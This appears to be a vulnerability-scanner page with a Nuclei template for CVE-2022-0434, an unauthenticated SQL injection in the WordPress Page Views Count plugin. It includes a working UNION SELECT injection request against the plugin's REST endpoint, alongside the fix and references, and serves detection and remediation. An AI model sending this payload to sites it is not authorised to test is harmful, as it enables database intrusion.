CVE-2022-0434· a3rev / page view count· CWE-89
WordPress Page Views Count <2.4.15 - SQL Injection
WordPress Page Views Count plugin prior to 2.4.15 contains an unauthenticated SQL injection vulnerability. It does not sanitise and escape the post_ids parameter before using it in a SQL statement via a REST endpoint. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
Impact
Successful exploitation of this vulnerability could lead to unauthorized access to the WordPress database.
Fix
Update to the latest version of the WordPress Page Views Count plugin (2.4.15) to mitigate the SQL Injection vulnerability.
How to confirm it
Send: GET /?rest_route=/pvc/v1/increase/1&post_ids=0)%20union%20select%20md5({{num}}),null,null%20--%20g
Positive when: contains "{{md5(num)}}" AND status 200Run it with nuclei: nuclei -id CVE-2022-0434 -u <target>
The full check
id: CVE-2022-0434
info:
name: WordPress Page Views Count <2.4.15 - SQL Injection
author: theamanrawat
severity: critical
description: |
WordPress Page Views Count plugin prior to 2.4.15 contains an unauthenticated SQL injection vulnerability. It does not sanitise and escape the post_ids parameter before using it in a SQL statement via a REST endpoint. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
impact: |
Successful exploitation of this vulnerability could lead to unauthorized access to the WordPress database.
remediation: |
Update to the latest version of the WordPress Page Views Count plugin (2.4.15) to mitigate the SQL Injection vulnerability.
reference:
- https://wpscan.com/vulnerability/be895016-7365-4ce4-a54f-f36d0ef2d6f1
- https://wordpress.org/plugins/page-views-count/
- https://nvd.nist.gov/vuln/detail/CVE-2022-0434
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-0434
cwe-id: CWE-89
epss-score: 0.14783
epss-percentile: 0.96708
cpe: cpe:2.3:a:a3rev:page_view_count:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: a3rev
product: page_view_count
framework: wordpress
tags: cve,cve2022,wordpress,wp-plugin,wp,sqli,wpscan,unauth,a3rev,vkev,vuln
variables:
num: "999999999"
http:
- raw:
- |
GET /?rest_route=/pvc/v1/increase/1&post_ids=0)%20union%20select%20md5({{num}}),null,null%20--%20g HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '{{md5(num)}}'
- type: status
status:
- 200References
- https://wpscan.com/vulnerability/be895016-7365-4ce4-a54f-f36d0ef2d6f1
- https://wordpress.org/plugins/page-views-count/
- https://nvd.nist.gov/vuln/detail/CVE-2022-0434
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
Use this check only on systems you are authorised to test. Where the data comes from